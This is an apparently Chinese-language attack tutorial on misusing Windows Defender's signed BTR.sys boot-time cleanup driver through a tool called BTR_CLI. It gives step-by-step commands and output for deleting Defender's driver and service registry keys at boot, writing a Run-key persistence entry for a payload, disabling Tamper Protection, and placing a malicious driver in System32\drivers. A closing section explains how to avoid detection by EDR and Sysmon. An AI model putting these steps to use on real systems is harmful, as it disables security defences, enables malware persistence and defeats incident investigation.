简介
Windows Defender 的内核驱动 BTR.sys(Boot Time Removal)。这个驱动的作用是:当 Defender 用户态服务因文件被占用而无法删除恶意软件时,在启动阶段的"黄金窗口"内完成清理。
这个机制完全可以被逆向利用。
BTR.sys 有以下几个对攻击者极其友好的特性:
微软签名,WDAC 白名单信任,不会被拦
Ring-0 权限,直接操作文件系统,无视文件锁
跳过 SCM,注册表直接写入,不触发 Event ID 7045
自带反取证,执行后自动删除自己的日志
无需漏洞,不需要任何 0day,普通管理员权限即可
这意味着什么?意味着我们可以用这个驱动做任意文件删除、任意注册表写入、任意驱动加载——而且 Sysmon 看到的发起者是 PID 4(System)。
不需要漏洞、不需要 BYOVD、不需要自定义驱动。微软签名的 BTR.sys 自带 SYSTEM 权限,天然绕过所有用户态 EDR 监控
原理:BTR.sys 为什么能绕过 EDR?
用户态 EDR 的盲区
主流 EDR(CrowdStrike、SentinelOne、Defender for Endpoint 等)的工作方式是在用户态挂钩 ntdll.dll 的系统调用,并通过内核回调监控文件/进程/网络行为。
但有一个前提:这些检测手段都在用户态或 Ring-3。
BTR.sys 的运行环境是 Ring-0,且执行时机在用户态 Defender 服务启动之前(boot-time 模式)。这意味着:
用户态 EDR 的 Hook 根本没有加载
内核回调虽然存在,但 BTR.sys 的 API 调用走的是 Defender 自己的合法路径
Sysmon 记录的操作来源是
System (PID 4),无法追溯到具体进程
事务协议:加密的隐蔽通道
BTR.sys 与用户态的通信通过 NTFS 备用数据流(ADS)完成:
随机文件名.sys:changelist ← 加密的事务配置
随机文件名.sys:<random>.dat ← 执行结果反馈整个事务载荷使用 256 字节硬编码 RC4 密钥加密,CRC32 校验完整性。密钥自 Windows 7 以来从未变更,任何人都可以从 MpEngine.dll 中提取。
Action ID 与绕过能力
3 是最关键的——它允许将任意文件移动到任意位置,包括
C:\Windows\System32\drivers\。配合 boot-time 触发,可以在 Defender 加载前完成恶意驱动的部署。
实战操作
准备环境
验证环境
确认管理员权限
whoami /groups | findstr "SeLoadDriver"确认 Defender 正在运行
Get-Service WinDefend | Select-Object Status, StartType确认 BTR.sys 存在于系统中
Get-WindowsDriver -Online | Where-Object {$_.Driver -like "*btr*"}步骤一:尝试普通删除(会被拦截)
假设我们有一个被 Defender 实时监控的样本,无法直接删除:
Remove-Item C:\Users\test\malware.exe
# AccessDenied - Defender 保护中步骤二:使用 BTR_CLI 内核级删除
.\BTR_CLI.exe -a 1 -s "C:\Users\test\malware.exe"步骤三:查看返回结果
[*] Attempting extraction from: C:\Program Files\Windows Defender\MpEngine.dll
[*] RC4 Key MATCHED in memory. Dropping driver...
[*] Preparing Driver...
[*] Generating Payload - Config Creation...
[+] Configuration written to ADS: xqnjtaq.sys:changelist
[*] Loading Driver Service...
[+] SUCCESS: Driver executed (Status: 0x0)
[*] Starting Cleanup...
[+] Driver and all ADS artifacts removed关键点:文件被删除后,ADS 自动清理,不留痕迹。
Boot-time 模式绕过用户态 EDR
这是最关键的免杀技术。 在系统启动的 Golden Window 内执行,用户态 EDR 尚未加载。
步骤一:预约下次启动时删除 WdFilter.sys
.\BTR_CLI.exe -a 1 -s "C:\Windows\System32\drivers\WdFilter.sys" -trigger boot步骤二:查看返回结果
[*] Service created: \Registry\Machine\System\CurrentControlSet\Services\{random}
[+] Driver staged for boot execution.
[+] Service Name: xqnjtaq
[+] Driver Path: C:\Windows\Temp\xqnjtaq.sys
[*] Please reboot the system to trigger the driver.步骤三:重启系统
重启后,在用户态 Defender 服务启动之前,BTR.sys 已经执行了删除操作。此时:
没有任何 EDR Hook 在内存中
没有用户态监控进程
删除操作以 System 身份执行
Chain 模式一次性清除多个防护组件
步骤一:执行链式删除
.\BTR_CLI.exe -chain `
-item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" `
-item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" `
-item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdBoot"步骤二:确认结果
三个服务键同时被删除,Defender 无法启动
注册表写入持久化
步骤一:写入 Run 键实现开机自启
.\BTR_CLI.exe -a 6 `
-s "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
-d "UpdateChecker" `
-v "C:\Users\test\payload.exe" `
-t 1步骤二:写入 Tamper Protection 禁用键
.\BTR_CLI.exe -a 6 `
-s "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" `
-d "TamperProtection" `
-v "0x0" `
-t 4注意:注册表写入操作会被 Sysmon Event ID 12/13 记录,但发起进程显示为
System (PID 4),增加了溯源难度。
任意文件写入 System32\drivers
步骤一:将恶意驱动移动到 System32\drivers
.\BTR_CLI.exe -a 3 `
-s "C:\Users\test\malicious.sys" `
-d "C:\Windows\System32\drivers\malicious.sys" `
-trigger boot步骤二:验证写入结果
移动到 System32\drivers 后,驱动可以被标记为"系统组件",规避基于路径的扫描。
Sysmon 事件分析
使用 BTR_CLI 时,Sysmon 会记录以下事件:
关键特征:所有操作的发起进程都是
System (PID 4)。正常系统管理中,PID 4 不会直接操作文件,这是一个异常指标。
如何避免被检测
使用 Boot-time 模式
-trigger boot在 Golden Window 内执行,用户态 EDR 未加载,没有任何 Hook 可以记录操作。这是最干净的免杀方式。
利用 Defender 自身的行为特征
BTR.sys 是 Defender 的合法组件,其执行模式与正常威胁清理一致。可以构造与 Defender 行为相似的载荷:
操作:模拟 Defender 清理行为 — 先删除日志,再删除目标
.\BTR_CLI.exe -chain `
-item "1|C:\Windows\Temp\BootClean.log" `
-item "1|C:\Users\test\malware.exe"使用随机化文件名
BTR_CLI 自动生成随机驱动的文件夹名(8 个随机小写字母),增加了基于文件名的检测难度。